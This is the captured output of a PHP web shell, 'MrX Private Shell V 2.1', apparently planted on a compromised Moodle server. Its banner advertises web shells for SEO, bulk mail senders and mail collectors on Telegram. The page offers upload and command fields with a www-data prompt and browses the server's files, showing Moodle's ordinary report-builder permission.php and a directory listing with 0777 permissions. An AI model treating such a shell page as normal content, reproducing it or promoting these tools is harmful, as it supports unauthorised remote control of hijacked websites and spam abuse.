__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

declare(strict_types=1);

namespace core_reportbuilder;

use context;
use context_system;
use core_reportbuilder\exception\report_access_exception;
use core_reportbuilder\local\helpers\audience;
use core_reportbuilder\local\models\report;
use core_reportbuilder\local\report\base;

/**
 * Report permission class
 *
 * @package     core_reportbuilder
 * @copyright   2021 Paul Holden <paulh@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class permission {

    /**
     * Require given user can view reports list
     *
     * @param int|null $userid User ID to check, or the current user if omitted
     * @param context|null $context
     * @throws report_access_exception
     */
    public static function require_can_view_reports_list(?int $userid = null, ?context $context = null): void {
        if (!static::can_view_reports_list($userid, $context)) {
            throw new report_access_exception();
        }
    }

    /**
     * Whether given user can view reports list
     *
     * @param int|null $userid User ID to check, or the current user if omitted
     * @param context|null $context
     * @return bool
     */
    public static function can_view_reports_list(?int $userid = null, ?context $context = null): bool {
        global $CFG;

        if ($context === null) {
            $context = context_system::instance();
        }

        return !empty($CFG->enablecustomreports) && has_any_capability([
            'moodle/reportbuilder:edit',
            'moodle/reportbuilder:editall',
            'moodle/reportbuilder:view',
            'moodle/reportbuilder:viewall',
        ], $context, $userid);
    }

    /**
     * Require given user can view report
     *
     * @param report $report
     * @param int|null $userid User ID to check, or the current user if omitted
     * @throws report_access_exception
     */
    public static function require_can_view_report(report $report, ?int $userid = null): void {
        if (!static::can_view_report($report, $userid)) {
            throw new report_access_exception('errorreportview');
        }
    }

    /**
     * Whether given user can view report
     *
     * @param report $report
     * @param int|null $userid User ID to check, or the current user if omitted
     * @return bool
     */
    public static function can_view_report(report $report, ?int $userid = null): bool {
        if (!static::can_view_reports_list($userid, $report->get_context())) {
            return false;
        }

        if (has_capability('moodle/reportbuilder:viewall', $report->get_context(), $userid)) {
            return true;
        }

        if (self::can_edit_report($report, $userid)) {
            return true;
        }

        $reports = audience::user_reports_list($userid);
        return in_array($report->get('id'), $reports);
    }

    /**
     * Require given user can edit report
     *
     * @param report $report
     * @param int|null $userid User ID to check, or the current user if omitted
     * @throws report_access_exception
     */
    public static function require_can_edit_report(report $report, ?int $userid = null): void {
        if (!static::can_edit_report($report, $userid)) {
            throw new report_access_exception('errorreportedit');
        }
    }

    /**
     * Whether given user can edit report
     *
     * @param report $report
     * @param int|null $userid User ID to check, or the current user if omitted
     * @return bool
     */
    public static function can_edit_report(report $report, ?int $userid = null): bool {
        global $CFG, $USER;

        if (empty($CFG->enablecustomreports)) {
            return false;
        }

        // We can only edit custom reports.
        if ($report->get('type') !== base::TYPE_CUSTOM_REPORT) {
            return false;
        }

        // To edit their own reports, users must have either of the 'edit' or 'editall' capabilities. For reports belonging
        // to other users, they must have the specific 'editall' capability.
        $userid = $userid ?: (int) $USER->id;
        if ($report->get('usercreated') === $userid) {
            return has_any_capability([
                'moodle/reportbuilder:edit',
                'moodle/reportbuilder:editall',
            ], $report->get_context(), $userid);
        } else {
            return has_capability('moodle/reportbuilder:editall', $report->get_context(), $userid);
        }
    }

    /**
     * Whether given user can create a new report
     *
     * @param int|null $userid User ID to check, or the current user if omitted
     * @param context|null $context
     * @return bool
     */
    public static function can_create_report(?int $userid = null, ?context $context = null): bool {
        global $CFG;

        if ($context === null) {
            $context = context_system::instance();
        }

        return !empty($CFG->enablecustomreports) && has_any_capability([
            'moodle/reportbuilder:edit',
            'moodle/reportbuilder:editall',
        ], $context, $userid) && !manager::report_limit_reached();
    }

    /**
     * Require given user can create a new report
     *
     * @param int|null $userid User ID to check, or the current user if omitted
     * @param context|null $context
     * @throws report_access_exception
     */
    public static function require_can_create_report(?int $userid = null, ?context $context = null): void {
        if (!static::can_create_report($userid, $context)) {
            throw new report_access_exception('errorreportcreate');
        }
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
exception Folder 0777
external Folder 0777
form Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
reportbuilder Folder 0777
table Folder 0777
task Folder 0777
datasource.php File 14.08 KB 0777
manager.php File 5.97 KB 0777
permission.php File 6.16 KB 0777
system_report.php File 10.82 KB 0777
system_report_factory.php File 3 KB 0777
Filemanager